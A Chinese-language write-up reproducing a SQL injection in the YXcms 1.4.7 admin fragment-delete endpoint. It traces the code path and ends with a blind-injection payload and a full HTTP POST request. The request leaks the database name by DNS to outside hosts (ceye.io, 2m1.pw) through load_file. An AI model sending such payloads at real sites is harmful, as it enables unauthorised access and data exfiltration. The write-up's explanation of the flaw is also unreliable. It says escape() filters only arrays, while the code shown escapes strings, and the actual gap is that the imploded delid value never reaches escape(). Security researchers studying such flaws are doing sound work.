YXcms 1.4.7 sql注入
一、漏洞简介
二、漏洞影响
YXcms 1.4.7
三、复现过程
漏洞分析
查看漏洞文件protected/apps/admin/controller/fragmentController.php的第63行
public function del()
{
if(!$this->isPost()){
$id=intval($_GET['id']);
if(empty($id)) $this->error('您没有选择~');
if(model('fragment')->delete("id='$id'"))
echo 1;
else echo '删除失败~';
}else{
if(empty($_POST['delid'])) $this->error('您没有选择~');
$delid=implode(',',$_POST['delid']);
if(model('fragment')->delete('id in ('.$delid.')'))
$this->success('删除成功',url('fragment/index'));
}
}
我们跟if(model('fragment')->delete("id='$id'")),它会先到protected/core.php文件里面的model
function model($model){
static $objArray = array();
$className = $model . 'Model';
if( !is_object($objArray[$className]) ){
if( !class_exists($className) ) {
throw new Exception(config('_APP_NAME'). '/' . $className . '.php 模型类不存在');
}
$objArray[$className] = new $className();
}
return $objArray[$className];
}
然后到protected/apps/admin/model/fragmentModel.php
<?php
class fragmentModel extends baseModel{
protected $table = 'fragment';
}
继续protected/base/model/baseModel.php
<?php
class baseModel extends model{
protected $prefix='';
public function __construct( $database= 'DB',$force = false ){
parent::__construct();
$this->prefix=config('DB_PREFIX');
}
}
再来到最底层的数据库操作类protected/base/model/model.php的第45行
public function delete($condition){
return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
}
这个delete()是从哪里来的,我们来看第十三行的代码,创建了一个对象cpModel
static public function connect($config, $force=false){
static $model = NULL;
if( $force==true || empty($model) ){
$model = new cpModel($config);
}
return $model;
}
漏洞文件在protected/include/core/cpModel.class.php,
public function delete() {
$table = $this->options['table']; //当前表
$where = $this->_parseCondition(); //条件
if ( empty($where) ) return false; //删除条件为空时,则返回false,避免数据不小心被全部删除
$this->sql = "DELETE FROM $table $where";
$query = $this->db->execute($this->sql);
return $this->db->affectedRows();
}
这里用到了一个方法_parseCondition()
private function _parseCondition() {
$condition = $this->db->parseCondition($this->options);
$this->options['where'] = '';
$this->options['group'] = '';
$this->options['having'] = '';
$this->options['order'] = '';
$this->options['limit'] = '';
$this->options['field'] = '*';
return $condition;
}
}
这个函数是在protected/include/core/db/cpMysql.class.php的128行
public function parseCondition($options) {
$condition = "";
if(!empty($options['where'])) {
$condition = " WHERE ";
if(is_string($options['where'])) {
$condition .= $options['where'];
} else if(is_array($options['where'])) {
foreach($options['where'] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$condition = substr($condition, 0,-4);
} else {
$condition = "";
}
}
if( !empty($options['group']) && is_string($options['group']) ) {
$condition .= " GROUP BY " . $options['group'];
}
if( !empty($options['having']) && is_string($options['having']) ) {
$condition .= " HAVING " . $options['having'];
}
if( !empty($options['order']) && is_string($options['order']) ) {
$condition .= " ORDER BY " . $options['order'];
}
if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
$condition .= " LIMIT " . $options['limit'];
}
if( empty($condition) ) return "";
return $condition;
}
里面有一个行数来过滤escape,我们找到74行的这个函数定义
public function escape($value) {
if( isset($this->_readLink) ) {
$link = $this->_readLink;
} elseif( isset($this->_writeLink) ) {
$link = $this->_writeLink;
} else {
$link = $this->_getReadLink();
}
if( is_array($value) ) {
return array_map(array($this, 'escape'), $value);
} else {
if( get_magic_quotes_gpc() ) {
$value = stripslashes($value);
}
return "'" . mysql_real_escape_string($value, $link) . "'";
}
}
不过这个函数有一句is_array如果是数组才会执行下面的过滤,如果不是的话就正常执行下去,没有任何sql的过滤就造成了注入漏洞。
复现
这个盲注可以用http://ceye.io和python脚本跑
http://0-sec.org/index.php?r=admin/fragment/index
payload:
1 and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1))--
- 点击删除
post包
POST /index.php?r=admin/fragment/del HTTP/1.1
Host: 0-sec.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 188
Referer: [url]http://127.0.0.1/index.php?r=admin/fragment/index[/url]
Cookie: PHPSESSID=bbei6n32cuevaf1lbi0n79rdj2;
Connection: close
Upgrade-Insecure-Requests: 1
delid%5B%5D=select LOAD_FILE((CONCAT('\\\\',(SELECT DATABASE()),'.8571e594.2m1.pw\\abc')))&__hash__=529fbedab8a7b8a3f3f5a0f394f51cf2_08ebfXTKPoKd0tX4iq+aFMwhq5QkkRGC/NfUu/Ny83+UmU8u0MoCIj8
然后用burp截获数据,修改内容加上我们的payload,用原文的payload后面+会报错
然后进入http://ceye.io/records/dns 查看我们的数据